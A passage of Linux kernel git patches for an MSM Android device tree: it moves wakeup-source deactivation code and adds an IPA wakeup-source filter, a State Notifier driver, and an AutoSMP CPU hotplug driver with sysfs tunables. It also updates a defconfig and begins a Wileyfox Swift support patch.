+ + ws->active = false; + + now = ktime_get(); + duration = ktime_sub(now, ws->last_time); + ws->total_time = ktime_add(ws->total_time, duration); + if (ktime_to_ns(duration) > ktime_to_ns(ws->max_time)) + ws->max_time = duration; + + ws->last_time = now; + del_timer(&ws->timer); + ws->timer_expires = 0; + + if (ws->autosleep_enabled) + update_prevent_sleep_time(ws, now); + + /* + * Increment the counter of registered wakeup events and decrement the + * couter of wakeup events in progress simultaneously. + */ + cec = atomic_add_return(MAX_IN_PROGRESS, &combined_event_count); + trace_wakeup_source_deactivate(ws->name, cec); + + split_counters(&cnt, &inpr); + if (!inpr && waitqueue_active(&wakeup_count_wait_queue)) + wake_up(&wakeup_count_wait_queue); +} + /* * The functions below use the observation that each wakeup event starts a * period in which the system should not be suspended. The moment this period @@ -411,6 +482,13 @@ static void wakeup_source_activate(struct wakeup_source *ws) { unsigned int cec; + if (!enable_ipa_ws && !strncmp(ws->name, "IPA_WS", 6)) { + if (ws->active) + wakeup_source_deactivate(ws); + + return; + } + /* * active wakeup source should bring the system * out of PM_SUSPEND_FREEZE state @@ -491,73 +569,6 @@ void pm_stay_awake(struct device *dev) } EXPORT_SYMBOL_GPL(pm_stay_awake); -#ifdef CONFIG_PM_AUTOSLEEP -static void update_prevent_sleep_time(struct wakeup_source *ws, ktime_t now) -{ - ktime_t delta = ktime_sub(now, ws->start_prevent_time); - ws->prevent_sleep_time = ktime_add(ws->prevent_sleep_time, delta); -} -#else -static inline void update_prevent_sleep_time(struct wakeup_source *ws, - ktime_t now) {} -#endif - -/** - * wakup_source_deactivate - Mark given wakeup source as inactive. - * @ws: Wakeup source to handle. - * - * Update the @ws' statistics and notify the PM core that the wakeup source has - * become inactive by decrementing the counter of wakeup events being processed - * and incrementing the counter of registered wakeup events. - */ -static void wakeup_source_deactivate(struct wakeup_source *ws) -{ - unsigned int cnt, inpr, cec; - ktime_t duration; - ktime_t now; - - ws->relax_count++; - /* - * __pm_relax() may be called directly or from a timer function. - * If it is called directly right after the timer function has been - * started, but before the timer function calls __pm_relax(), it is - * possible that __pm_stay_awake() will be called in the meantime and - * will set ws->active. Then, ws->active may be cleared immediately - * by the __pm_relax() called from the timer function, but in such a - * case ws->relax_count will be different from ws->active_count. - */ - if (ws->relax_count != ws->active_count) { - ws->relax_count--; - return; - } - - ws->active = false; - - now = ktime_get(); - duration = ktime_sub(now, ws->last_time); - ws->total_time = ktime_add(ws->total_time, duration); - if (ktime_to_ns(duration) > ktime_to_ns(ws->max_time)) - ws->max_time = duration; - - ws->last_time = now; - del_timer(&ws->timer); - ws->timer_expires = 0; - - if (ws->autosleep_enabled) - update_prevent_sleep_time(ws, now); - - /* - * Increment the counter of registered wakeup events and decrement the - * couter of wakeup events in progress simultaneously. - */ - cec = atomic_add_return(MAX_IN_PROGRESS, &combined_event_count); - trace_wakeup_source_deactivate(ws->name, cec); - - split_counters(&cnt, &inpr); - if (!inpr && waitqueue_active(&wakeup_count_wait_queue)) - wake_up(&wakeup_count_wait_queue); -} - /** * __pm_relax - Notify the PM core that processing of a wakeup event has ended. * @ws: Wakeup source object associated with the source of the event. From 0c5f6270085c4f89f0af2ebde3a7741f618a1081 Mon Sep 17 00:00:00 2001 From: Pranav Vashi Date: Wed, 6 Apr 2016 11:31:02 +0530 Subject: [PATCH 352/365] msm: Import state notifier driver Signed-off-by: Pranav Vashi --- drivers/soc/qcom/Kconfig | 3 + drivers/soc/qcom/Makefile | 2 + drivers/soc/qcom/state_notifier.c | 129 ++++++++++++++++++++++++++++++ drivers/video/msm/mdss/mdss_dsi.c | 10 +++ include/linux/state_notifier.h | 20 +++++ 5 files changed, 164 insertions(+) create mode 100644 drivers/soc/qcom/state_notifier.c create mode 100644 include/linux/state_notifier.h diff --git a/drivers/soc/qcom/Kconfig b/drivers/soc/qcom/Kconfig index 73102cca78849..f1c05ad13b489 100644 --- a/drivers/soc/qcom/Kconfig +++ b/drivers/soc/qcom/Kconfig @@ -571,6 +571,9 @@ config MSM_PERFORMANCE_HOTPLUG_ON compile out the nodes needed for core-control functionality through msm_performance. +config STATE_NOTIFIER + bool "State Notifier" + source "drivers/soc/qcom/memshare/Kconfig" endif # ARCH_MSM diff --git a/drivers/soc/qcom/Makefile b/drivers/soc/qcom/Makefile index c5b8a460fb775..31cca0acda27b 100644 --- a/drivers/soc/qcom/Makefile +++ b/drivers/soc/qcom/Makefile @@ -79,3 +79,5 @@ obj-$(CONFIG_MSM_SYSTEM_HEALTH_MONITOR) += system_health_monitor.o obj-$(CONFIG_MSM_RTB) += msm_rtb-hotplug.o obj-$(CONFIG_QCOM_EARLY_RANDOM) += early_random.o obj-$(CONFIG_MSM_PACMAN) += msm_pacman.o + +obj-$(CONFIG_STATE_NOTIFIER) += state_notifier.o diff --git a/drivers/soc/qcom/state_notifier.c b/drivers/soc/qcom/state_notifier.c new file mode 100644 index 0000000000000..93e83ee1cfc04 --- /dev/null +++ b/drivers/soc/qcom/state_notifier.c @@ -0,0 +1,129 @@ +/* + * State Notifier Driver + * + * Copyright (c) 2013-2016, Pranav Vashi + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + */ + +#include +#include +#include + +#define DEFAULT_SUSPEND_DEFER_TIME 10 +#define STATE_NOTIFIER "state_notifier" + +/* + * debug = 1 will print all + */ +static unsigned int debug; +module_param_named(debug_mask, debug, uint, 0644); + +#define dprintk(msg...) \ +do { \ + if (debug) \ + pr_info(msg); \ +} while (0) + +static bool enabled; +module_param_named(enabled, enabled, bool, 0664); +static unsigned int suspend_defer_time = DEFAULT_SUSPEND_DEFER_TIME; +module_param_named(suspend_defer_time, suspend_defer_time, uint, 0664); +static struct delayed_work suspend_work; +static struct workqueue_struct *susp_wq; +struct work_struct resume_work; +bool state_suspended; +module_param_named(state_suspended, state_suspended, bool, 0444); +static bool suspend_in_progress; + +static BLOCKING_NOTIFIER_HEAD(state_notifier_list); + +/** + * state_register_client - register a client notifier + * @nb: notifier block to callback on events + */ +int state_register_client(struct notifier_block *nb) +{ + return blocking_notifier_chain_register(&state_notifier_list, nb); +} +EXPORT_SYMBOL(state_register_client); + +/** + * state_unregister_client - unregister a client notifier + * @nb: notifier block to callback on events + */ +int state_unregister_client(struct notifier_block *nb) +{ + return blocking_notifier_chain_unregister(&state_notifier_list, nb); +} +EXPORT_SYMBOL(state_unregister_client); + +/** + * state_notifier_call_chain - notify clients on state_events + * @val: Value passed unmodified to notifier function + * @v: pointer passed unmodified to notifier function + * + */ +int state_notifier_call_chain(unsigned long val, void *v) +{ + return blocking_notifier_call_chain(&state_notifier_list, val, v); +} +EXPORT_SYMBOL_GPL(state_notifier_call_chain); + +static void _suspend_work(struct work_struct *work) +{ + state_suspended = true; + state_notifier_call_chain(STATE_NOTIFIER_SUSPEND, NULL); + suspend_in_progress = false; + dprintk("%s: suspend completed.\n", STATE_NOTIFIER); +} + +static void _resume_work(struct work_struct *work) +{ + state_suspended = false; + state_notifier_call_chain(STATE_NOTIFIER_ACTIVE, NULL); + dprintk("%s: resume completed.\n", STATE_NOTIFIER); +} + +void state_suspend(void) +{ + dprintk("%s: suspend called.\n", STATE_NOTIFIER); + if (state_suspended || suspend_in_progress || !enabled) + return; + + suspend_in_progress = true; + + queue_delayed_work_on(0, susp_wq, &suspend_work, + msecs_to_jiffies(suspend_defer_time * 1000)); +} + +void state_resume(void) +{ + dprintk("%s: resume called.\n", STATE_NOTIFIER); + cancel_delayed_work_sync(&suspend_work); + suspend_in_progress = false; + + if (state_suspended) + queue_work_on(0, susp_wq, &resume_work); +} + +static int __init state_notifier_init(void) +{ + susp_wq = create_singlethread_workqueue("state_susp_wq"); + if (!susp_wq) + pr_err("State Notifier failed to allocate suspend workqueue\n"); + + INIT_DELAYED_WORK(&suspend_work, _suspend_work); + INIT_WORK(&resume_work, _resume_work); + + return 0; +} + +subsys_initcall(state_notifier_init); + +MODULE_AUTHOR("Pranav Vashi "); +MODULE_DESCRIPTION("State Notifier Driver"); +MODULE_LICENSE("GPLv2"); diff --git a/drivers/video/msm/mdss/mdss_dsi.c b/drivers/video/msm/mdss/mdss_dsi.c index 9169213e4b623..238bfb5430885 100644 --- a/drivers/video/msm/mdss/mdss_dsi.c +++ b/drivers/video/msm/mdss/mdss_dsi.c @@ -24,6 +24,10 @@ #include #include +#ifdef CONFIG_STATE_NOTIFIER +#include +#endif + #include "mdss.h" #include "mdss_panel.h" #include "mdss_dsi.h" @@ -1320,6 +1324,9 @@ static int mdss_dsi_event_handler(struct mdss_panel_data *pdata, if (ctrl_pdata->on_cmds.link_state == DSI_HS_MODE) rc = mdss_dsi_unblank(pdata); pdata->panel_info.esd_rdy = true; +#ifdef CONFIG_STATE_NOTIFIER + state_resume(); +#endif break; case MDSS_EVENT_BLANK: power_state = (int) (unsigned long) arg; @@ -1333,6 +1340,9 @@ static int mdss_dsi_event_handler(struct mdss_panel_data *pdata, rc = mdss_dsi_blank(pdata, power_state); if (!(pdata->panel_info.mipi.always_on)) rc = mdss_dsi_off(pdata, power_state); +#ifdef CONFIG_STATE_NOTIFIER + state_suspend(); +#endif break; case MDSS_EVENT_CONT_SPLASH_FINISH: if (ctrl_pdata->off_cmds.link_state == DSI_LP_MODE) diff --git a/include/linux/state_notifier.h b/include/linux/state_notifier.h new file mode 100644 index 0000000000000..ffb4fba752c10 --- /dev/null +++ b/include/linux/state_notifier.h @@ -0,0 +1,20 @@ +#ifndef __LINUX_STATE_NOTIFIER_H +#define __LINUX_STATE_NOTIFIER_H + +#include + +#define STATE_NOTIFIER_ACTIVE 0x01 +#define STATE_NOTIFIER_SUSPEND 0x02 + +struct state_event { + void *data; +}; + +extern bool state_suspended; +extern void state_suspend(void); +extern void state_resume(void); +int state_register_client(struct notifier_block *nb); +int state_unregister_client(struct notifier_block *nb); +int state_notifier_call_chain(unsigned long val, void *v); + +#endif /* _LINUX_STATE_NOTIFIER_H */ From 01208633bb89ca6e9608fdb5a5a8d614f907b77f Mon Sep 17 00:00:00 2001 From: Pranav Vashi Date: Tue, 1 Nov 2016 11:41:47 +0530 Subject: [PATCH 353/365] soc: qcom: Add AutoSMP hotplug driver * Completely re-written to work smoothly along with state notifier. * Compatible with Kernel Adiutor Mod. * This driver hotplugs based on frequency of the online cores. Signed-off-by: Pranav Vashi --- drivers/soc/qcom/Kconfig | 7 + drivers/soc/qcom/Makefile | 2 +- drivers/soc/qcom/autosmp.c | 653 +++++++++++++++++++++++++++++++++++++ 3 files changed, 661 insertions(+), 1 deletion(-) create mode 100644 drivers/soc/qcom/autosmp.c diff --git a/drivers/soc/qcom/Kconfig b/drivers/soc/qcom/Kconfig index f1c05ad13b489..9504a4f2b8ea0 100644 --- a/drivers/soc/qcom/Kconfig +++ b/drivers/soc/qcom/Kconfig @@ -574,6 +574,13 @@ config MSM_PERFORMANCE_HOTPLUG_ON config STATE_NOTIFIER bool "State Notifier" +config AUTOSMP + bool "Multi-core automatic hotplug support" + depends on SMP && HOTPLUG_CPU + help + Automatically hotplugs the multiple cpu cores on and off + based on cpu load and suspend state + source "drivers/soc/qcom/memshare/Kconfig" endif # ARCH_MSM diff --git a/drivers/soc/qcom/Makefile b/drivers/soc/qcom/Makefile index 31cca0acda27b..ab1c8b5e85f42 100644 --- a/drivers/soc/qcom/Makefile +++ b/drivers/soc/qcom/Makefile @@ -79,5 +79,5 @@ obj-$(CONFIG_MSM_SYSTEM_HEALTH_MONITOR) += system_health_monitor.o obj-$(CONFIG_MSM_RTB) += msm_rtb-hotplug.o obj-$(CONFIG_QCOM_EARLY_RANDOM) += early_random.o obj-$(CONFIG_MSM_PACMAN) += msm_pacman.o - +obj-$(CONFIG_AUTOSMP) += autosmp.o obj-$(CONFIG_STATE_NOTIFIER) += state_notifier.o diff --git a/drivers/soc/qcom/autosmp.c b/drivers/soc/qcom/autosmp.c new file mode 100644 index 0000000000000..489f4e7bacc4d --- /dev/null +++ b/drivers/soc/qcom/autosmp.c @@ -0,0 +1,653 @@ +/* + * drivers/soc/qcom/autosmp.c + * + * automatically hotplug/unplug multiple cpu cores + * based on cpu load and suspend state + * + * based on the msm_mpdecision code by + * Copyright (c) 2012-2013, Dennis Rassmann + * + * Copyright (C) 2013-2014, Rauf Gungor, http://github.com/mrg666 + * rewrite to simplify and optimize, Jul. 2013, http://goo.gl/cdGw6x + * optimize more, generalize for n cores, Sep. 2013, http://goo.gl/448qBz + * generalize for all arch, rename as autosmp, Dec. 2013, http://goo.gl/x5oyhy + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. For more details, see the GNU + * General Public License included with the Linux kernel or available + * at www.gnu.org/licenses + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef CONFIG_STATE_NOTIFIER +#include +#endif + +#define DEBUG 0 + +#define ASMP_TAG "AutoSMP:" +#define ASMP_ENABLED false +#define DEFAULT_BOOST_LOCK_DUR 800 * 1000L +#define DEFAULT_NR_CPUS_BOOSTED 2 +#define DEFAULT_UPDATE_RATE 30 +#define MIN_INPUT_INTERVAL 150 * 1000L +#define DEFAULT_MIN_BOOST_FREQ 8000000 + +#if DEBUG +struct asmp_cpudata_t { + long long unsigned int times_hotplugged; +}; +static DEFINE_PER_CPU(struct asmp_cpudata_t, asmp_cpudata); +#endif + +static struct delayed_work asmp_work; +static struct workqueue_struct *asmp_workq; +static bool enabled_switch = ASMP_ENABLED; + +static struct asmp_param_struct { + unsigned int delay; + unsigned int max_cpus; + unsigned int min_cpus; + unsigned int cpufreq_up; + unsigned int cpufreq_down; + unsigned int cycle_up; + unsigned int cycle_down; + unsigned int cpus_boosted; + unsigned int min_boost_freq; + bool enabled; + u64 boost_lock_dur; +#ifdef CONFIG_STATE_NOTIFIER + struct notifier_block notif; +#endif +} asmp_param = { + .delay = DEFAULT_UPDATE_RATE, + .max_cpus = 4, + .min_cpus = 2, + .cpufreq_up = 95, + .cpufreq_down = 80, + .cycle_up = 1, + .cycle_down = 1, + .min_boost_freq = DEFAULT_MIN_BOOST_FREQ, + .cpus_boosted = DEFAULT_NR_CPUS_BOOSTED, + .enabled = ASMP_ENABLED, + .boost_lock_dur = DEFAULT_BOOST_LOCK_DUR, +}; + +static u64 last_boost_time; +static unsigned int cycle = 0; + +/* + * suspend mode, if set = 1 hotplug will sleep, + * if set = 0, then hoplug will be active all the time. + */ +static unsigned int hotplug_suspend = 1; +module_param_named(hotplug_suspend, hotplug_suspend, uint, 0644); + +static void reschedule_hotplug_work(void) +{ + queue_delayed_work(asmp_workq, &asmp_work, + msecs_to_jiffies(asmp_param.delay)); +} + +static void max_min_check(void) +{ + asmp_param.max_cpus = max((unsigned int)1, asmp_param.max_cpus); + asmp_param.min_cpus = max((unsigned int)1, asmp_param.min_cpus); + + if (asmp_param.max_cpus > 4) + asmp_param.max_cpus = 4; + if (asmp_param.min_cpus > asmp_param.max_cpus) + asmp_param.min_cpus = asmp_param.max_cpus; +} + +static void __cpuinit asmp_work_fn(struct work_struct *work) +{ + unsigned int cpu = 0, slow_cpu = 0; + unsigned int rate, cpu0_rate, slow_rate = UINT_MAX, fast_rate; + unsigned int max_rate, up_rate, down_rate; + unsigned int nr_cpu_online; + unsigned int min_boost_freq = asmp_param.min_boost_freq; + u64 now; + + if (!asmp_param.enabled) + return; + + /* get maximum possible freq for cpu0 and + calculate up/down limits */ + max_rate = cpufreq_quick_get_max(cpu); + up_rate = (max_rate / 100) * asmp_param.cpufreq_up; + down_rate = (max_rate / 100) * asmp_param.cpufreq_down; + + /* find current max and min cpu freq to estimate load */ + nr_cpu_online = num_online_cpus(); + cpu0_rate = cpufreq_quick_get(cpu); + fast_rate = cpu0_rate; + + for_each_online_cpu(cpu) { + if (cpu) { + rate = cpufreq_quick_get(cpu); + if (rate <= slow_rate) { + slow_cpu = cpu; + slow_rate = rate; + } else if (rate > fast_rate) + fast_rate = rate; + } + } + + if (cpu0_rate < slow_rate) + slow_rate = cpu0_rate; + + if (max_rate <= asmp_param.min_boost_freq) + min_boost_freq = max_rate; + + now = ktime_to_us(ktime_get()); + /* hotplug one core if all online cores are over up_rate limit */ + if (slow_rate > up_rate && fast_rate >= min_boost_freq) { + if (nr_cpu_online < asmp_param.max_cpus && + cycle >= asmp_param.cycle_up) { + cpu = cpumask_next_zero(0, cpu_online_mask); + if (cpu_is_offline(cpu)) + cpu_up(cpu); + cycle = 0; +#if DEBUG + pr_info(ASMP_TAG"CPU [%d] On | Mask [%d%d%d%d]\n", + cpu, cpu_online(0), cpu_online(1), cpu_online(2), cpu_online(3)); +#endif + } + /* check if boost required */ + } else if (nr_cpu_online <= asmp_param.cpus_boosted && + now - last_boost_time <= asmp_param.boost_lock_dur) { + if (nr_cpu_online < asmp_param.cpus_boosted && + nr_cpu_online < asmp_param.max_cpus) { + cpu = cpumask_next_zero(0, cpu_online_mask); + if (cpu_is_offline(cpu)) + cpu_up(cpu); + // cycle = 0; + } + /* unplug slowest core if all online cores are under down_rate limit */ + } else if (slow_cpu && (fast_rate < down_rate)) { + if (nr_cpu_online > asmp_param.min_cpus && + cycle >= asmp_param.cycle_down) { + + if (cpu_online(slow_cpu)) + cpu_down(slow_cpu); + cycle = 0; +#if DEBUG + pr_info(ASMP_TAG"CPU [%d] Off | Mask [%d%d%d%d]\n", + slow_cpu, cpu_online(0), cpu_online(1), cpu_online(2), cpu_online(3)); + per_cpu(asmp_cpudata, cpu).times_hotplugged += 1; +#endif + } + } /* else do nothing */ + + cycle++; + reschedule_hotplug_work(); +} + +#ifdef CONFIG_STATE_NOTIFIER +static void asmp_suspend(void) +{ + unsigned int cpu; + + /* Flush hotplug workqueue */ + flush_workqueue(asmp_workq); + cancel_delayed_work_sync(&asmp_work); + + /* unplug online cpu cores */ + for_each_possible_cpu(cpu) + if (cpu != 0 && cpu_online(cpu)) + cpu_down(cpu); + + pr_info(ASMP_TAG"Screen -> Off. Suspended.\n"); +} + +static void __ref asmp_resume(void) +{ + unsigned int cpu; + + /* Fire up all CPUs */ + for_each_possible_cpu(cpu) + if (cpu_is_offline(cpu)) + cpu_up(cpu); + + last_boost_time = ktime_to_us(ktime_get()); + + /* Resume hotplug workqueue */ + INIT_DELAYED_WORK(&asmp_work, asmp_work_fn); + reschedule_hotplug_work(); + pr_info(ASMP_TAG"Screen -> On. Resumed.\n"); +} + +static int state_notifier_callback(struct notifier_block *this, + unsigned long event, void *data) +{ + if (!asmp_param.enabled || !hotplug_suspend) + return NOTIFY_OK; + + switch (event) { + case STATE_NOTIFIER_ACTIVE: + asmp_resume(); + break; + case STATE_NOTIFIER_SUSPEND: + asmp_suspend(); + break; + default: + break; + } + + return NOTIFY_OK; +} +#endif + +static void autosmp_input_event(struct input_handle *handle, unsigned int type, + unsigned int code, int value) +{ + u64 now; + + if (!asmp_param.enabled) + return; + +#ifdef CONFIG_STATE_NOTIFIER + if (state_suspended) + return; +#endif + + now = ktime_to_us(ktime_get()); + if (now - last_boost_time < MIN_INPUT_INTERVAL) + return; + + if (asmp_param.cpus_boosted <= asmp_param.min_cpus) + return; + + last_boost_time = ktime_to_us(ktime_get()); +} + +static int autosmp_input_connect(struct input_handler *handler, + struct input_dev *dev, + const struct input_device_id *id) +{ + struct input_handle *handle; + int err; + + handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); + if (!handle) + return -ENOMEM; + + handle->dev = dev; + handle->handler = handler; + handle->name = handler->name; + + err = input_register_handle(handle); + if (err) + goto err_register; + + err = input_open_device(handle); + if (err) + goto err_open; + + return 0; +err_open: + input_unregister_handle(handle); +err_register: + kfree(handle); + return err; +} + +static void autosmp_input_disconnect(struct input_handle *handle) +{ + input_close_device(handle); + input_unregister_handle(handle); + kfree(handle); +} + +static const struct input_device_id autosmp_ids[] = { + /* multi-touch touchscreen */ + { + .flags = INPUT_DEVICE_ID_MATCH_EVBIT | + INPUT_DEVICE_ID_MATCH_ABSBIT, + .evbit = { BIT_MASK(EV_ABS) }, + .absbit = { [BIT_WORD(ABS_MT_POSITION_X)] = + BIT_MASK(ABS_MT_POSITION_X) | + BIT_MASK(ABS_MT_POSITION_Y) }, + }, + /* touchpad */ + { + .flags = INPUT_DEVICE_ID_MATCH_KEYBIT | + INPUT_DEVICE_ID_MATCH_ABSBIT, + .keybit = { [BIT_WORD(BTN_TOUCH)] = BIT_MASK(BTN_TOUCH) }, + .absbit = { [BIT_WORD(ABS_X)] = + BIT_MASK(ABS_X) | BIT_MASK(ABS_Y) }, + }, + /* Keypad */ + { + .flags = INPUT_DEVICE_ID_MATCH_EVBIT, + .evbit = { BIT_MASK(EV_KEY) }, + }, + { }, +}; + +static struct input_handler autosmp_input_handler = { + .event = autosmp_input_event, + .connect = autosmp_input_connect, + .disconnect = autosmp_input_disconnect, + .name = ASMP_TAG, + .id_table = autosmp_ids, +}; + +static int hotplug_start(void) +{ + int ret = 0; + + asmp_workq = + alloc_workqueue("autosmp_wq", + WQ_HIGHPRI | WQ_FREEZABLE, 0); + if (!asmp_workq) { + pr_err("%s: Failed to allocate hotplug workqueue\n", + ASMP_TAG); + ret = -ENOMEM; + goto err_wq; + } + +#ifdef CONFIG_STATE_NOTIFIER + asmp_param.notif.notifier_call = state_notifier_callback; + if (state_register_client(&asmp_param.notif)) { + pr_err("%s: Failed to register State notifier callback\n", + ASMP_TAG); + goto err_notif; + } +#endif + + ret = input_register_handler(&autosmp_input_handler); + if (ret) { + pr_err("%s: Failed to register input handler: %d\n", + ASMP_TAG, ret); + goto err; + } + + INIT_DELAYED_WORK(&asmp_work, asmp_work_fn); + max_min_check(); + reschedule_hotplug_work(); + return ret; + +err: +#ifdef CONFIG_STATE_NOTIFIER + state_unregister_client(&asmp_param.notif); +err_notif: + asmp_param.notif.notifier_call = NULL; +#endif + destroy_workqueue(asmp_workq); +err_wq: + asmp_param.enabled = false; + return ret; +} + +static void __ref hotplug_stop(void) +{ + int cpu; + + input_unregister_handler(&autosmp_input_handler); +#ifdef CONFIG_STATE_NOTIFIER + state_unregister_client(&asmp_param.notif); + asmp_param.notif.notifier_call = NULL; +#endif + flush_workqueue(asmp_workq); + cancel_delayed_work_sync(&asmp_work); + destroy_workqueue(asmp_workq); + + /* Wake up all the sibling cores */ + for_each_possible_cpu(cpu) + if (cpu_is_offline(cpu)) + cpu_up(cpu); +} + +static int __cpuinit set_enabled(const char *val, const struct kernel_param *kp) +{ + int ret = 0; + + ret = param_set_bool(val, kp); + if (ret) + return -EINVAL; + + if (enabled_switch == asmp_param.enabled) + return ret; + + enabled_switch = asmp_param.enabled; + + if (asmp_param.enabled) + hotplug_start(); + else + hotplug_stop(); + + return ret; +} + +static struct kernel_param_ops module_ops = { + .set = set_enabled, + .get = param_get_bool, +}; + +module_param_cb(enabled, &module_ops, &asmp_param.enabled, 0644); +MODULE_PARM_DESC(enabled, "hotplug/unplug cpu cores based on cpu load"); + +/***************************** SYSFS START *****************************/ +#define define_one_global_ro(_name) \ +static struct global_attr _name = \ +__ATTR(_name, 0444, show_##_name, NULL) + +#define define_one_global_rw(_name) \ +static struct global_attr _name = \ +__ATTR(_name, 0644, show_##_name, store_##_name) + +struct kobject *asmp_kobject; + +#define show_one(file_name, object) \ +static ssize_t show_##file_name \ +(struct kobject *kobj, struct attribute *attr, char *buf) \ +{ \ + return sprintf(buf, "%u\n", asmp_param.object); \ +} +show_one(delay, delay); +show_one(min_cpus, min_cpus); +show_one(max_cpus, max_cpus); +show_one(cpufreq_up, cpufreq_up); +show_one(cpufreq_down, cpufreq_down); +show_one(cycle_up, cycle_up); +show_one(cycle_down, cycle_down); + +#define store_one(file_name, object) \ +static ssize_t store_##file_name \ +(struct kobject *a, struct attribute *b, const char *buf, size_t count) \ +{ \ + unsigned int input; \ + int ret; \ + ret = sscanf(buf, "%u", &input); \ + if (ret != 1) \ + return -EINVAL; \ + asmp_param.object = input; \ + max_min_check(); \ + if (asmp_param.enabled) \ + reschedule_hotplug_work(); \ + return count; \ +} \ +define_one_global_rw(file_name); +store_one(delay, delay); +store_one(min_cpus, min_cpus); +store_one(max_cpus, max_cpus); +store_one(cpufreq_up, cpufreq_up); +store_one(cpufreq_down, cpufreq_down); +store_one(cycle_up, cycle_up); +store_one(cycle_down, cycle_down); + +static ssize_t show_boost_lock_duration(struct device *dev, + struct device_attribute + *asmp_attributes, char *buf) +{ + return sprintf(buf, "%llu\n", div_u64(asmp_param.boost_lock_dur, 1000)); +} + +static ssize_t store_boost_lock_duration(struct device *dev, + struct device_attribute + *asmp_attributes, const char *buf, + size_t count) +{ + int ret; + u64 val; + + ret = sscanf(buf, "%llu", &val); + if (ret != 1) + return -EINVAL; + + asmp_param.boost_lock_dur = val * 1000; + + return count; +} + +static ssize_t show_cpus_boosted(struct device *dev, + struct device_attribute *asmp_attributes, + char *buf) +{ + return sprintf(buf, "%u\n", asmp_param.cpus_boosted); +} + +static ssize_t store_cpus_boosted(struct device *dev, + struct device_attribute *asmp_attributes, + const char *buf, size_t count) +{ + int ret; + unsigned int val; + + ret = sscanf(buf, "%u", &val); + if (ret != 1 || val < 1 || val > CONFIG_NR_CPUS) + return -EINVAL; + + asmp_param.cpus_boosted = val; + + return count; +} + + +static ssize_t show_min_boost_freq(struct device *dev, + struct device_attribute *asmp_attributes, + char *buf) +{ + return sprintf(buf, "%u\n", asmp_param.min_boost_freq); +} + +static ssize_t store_min_boost_freq(struct device *dev, + struct device_attribute *asmp_attributes, + const char *buf, size_t count) +{ + int ret; + unsigned int val; + + ret = sscanf(buf, "%u", &val); + if (ret != 1) + return -EINVAL; + + asmp_param.min_boost_freq = val; + + return count; +} + +static DEVICE_ATTR(boost_lock_duration, 644, show_boost_lock_duration, + store_boost_lock_duration); +static DEVICE_ATTR(cpus_boosted, 644, show_cpus_boosted, store_cpus_boosted); +static DEVICE_ATTR(min_boost_freq, 644, show_min_boost_freq, + store_min_boost_freq); + +static struct attribute *asmp_attributes[] = { + &delay.attr, + &min_cpus.attr, + &max_cpus.attr, + &cpufreq_up.attr, + &cpufreq_down.attr, + &cycle_up.attr, + &cycle_down.attr, + &dev_attr_boost_lock_duration.attr, + &dev_attr_cpus_boosted.attr, + &dev_attr_min_boost_freq.attr, + NULL +}; + +static struct attribute_group asmp_attr_group = { + .attrs = asmp_attributes, + .name = "conf", +}; + +#if DEBUG +static ssize_t show_times_hotplugged(struct kobject *a, + struct attribute *b, char *buf) +{ + ssize_t len = 0; + int cpu; + + for_each_possible_cpu(cpu) { + len += sprintf(buf + len, "%i %llu\n", cpu, + per_cpu(asmp_cpudata, cpu).times_hotplugged); + } + return len; +} +define_one_global_ro(times_hotplugged); + +static struct attribute *asmp_stats_attributes[] = { + ×_hotplugged.attr, + NULL +}; + +static struct attribute_group asmp_stats_attr_group = { + .attrs = asmp_stats_attributes, + .name = "stats", +}; +#endif +/****************************** SYSFS END ******************************/ + +static int __init asmp_init(void) +{ + int ret = 0; + + asmp_param.max_cpus = 4; +#if DEBUG + for_each_possible_cpu(cpu) + per_cpu(asmp_cpudata, cpu).times_hotplugged = 0; +#endif + + asmp_kobject = kobject_create_and_add("autosmp", kernel_kobj); + if (asmp_kobject) { + ret = sysfs_create_group(asmp_kobject, &asmp_attr_group); + if (ret) { + pr_warn(ASMP_TAG "sysfs: ERROR, create sysfs group."); + goto err_dev; + } +#if DEBUG + ret = sysfs_create_group(asmp_kobject, &asmp_stats_attr_group); + if (ret) { + pr_warn(ASMP_TAG "sysfs: ERROR, create sysfs stats group."); + goto err_dev; + } +#endif + } else { + pr_warn(ASMP_TAG "sysfs: ERROR, create sysfs kobj"); + goto err_dev; + } + + if (asmp_param.enabled) + hotplug_start(); + + pr_info(ASMP_TAG "Init complete.\n"); + return ret; + +err_dev: + asmp_param.enabled = false; + return ret; +} + +late_initcall(asmp_init); From 631aea0feff00701f0d2d247477f18263ca11da4 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 26 Dec 2016 11:45:20 +0530 Subject: [PATCH 354/365] update defconfig --- arch/arm/configs/zetsubou_defconfig | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 17f94158a9a3f..63fe3df2f87e8 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -3363,9 +3363,11 @@ CONFIG_MSM_CPU_PWR_CTL=y # CONFIG_MSM_SYSTEM_HEALTH_MONITOR is not set # CONFIG_QCOM_EARLY_RANDOM is not set # CONFIG_MSM_PACMAN is not set -CONFIG_MSM_CORE_CTL_HELPER=y +# CONFIG_MSM_CORE_CTL_HELPER is not set CONFIG_MSM_PERFORMANCE=y -CONFIG_MSM_PERFORMANCE_HOTPLUG_ON=y +# CONFIG_MSM_PERFORMANCE_HOTPLUG_ON is not set +CONFIG_STATE_NOTIFIER=y +CONFIG_AUTOSMP=y CONFIG_MEM_SHARE_QMI_SERVICE=y # From 99440036623d0be27bb132f7ab4a93f8c1b3c0f0 Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Mon, 2 Jan 2017 17:31:25 +0600 Subject: [PATCH 355/365] crackling: Add Wileyfox Swift support * Rebased for crackling * CleanUp DTS * Renamed 'l8150' to 'crackling' for practical purposes * Full work * Tested --- Makefile | 10 +- arch/arm/boot/dts/qcom/Makefile | 8 +- .../qcom/cp8675/batterydata-CPLD-351-BB.dtsi | 114 - .../qcom/cp8675/batterydata-CPLD-351-CC.dtsi | 108 - .../qcom/cp8675/batterydata-CPLD-351-LS.dtsi | 114 - .../qcom/cp8675/batterydata-CPLD-351-MK.dtsi | 114 - .../qcom/cp8675/batterydata-CPLD-351-TM.dtsi 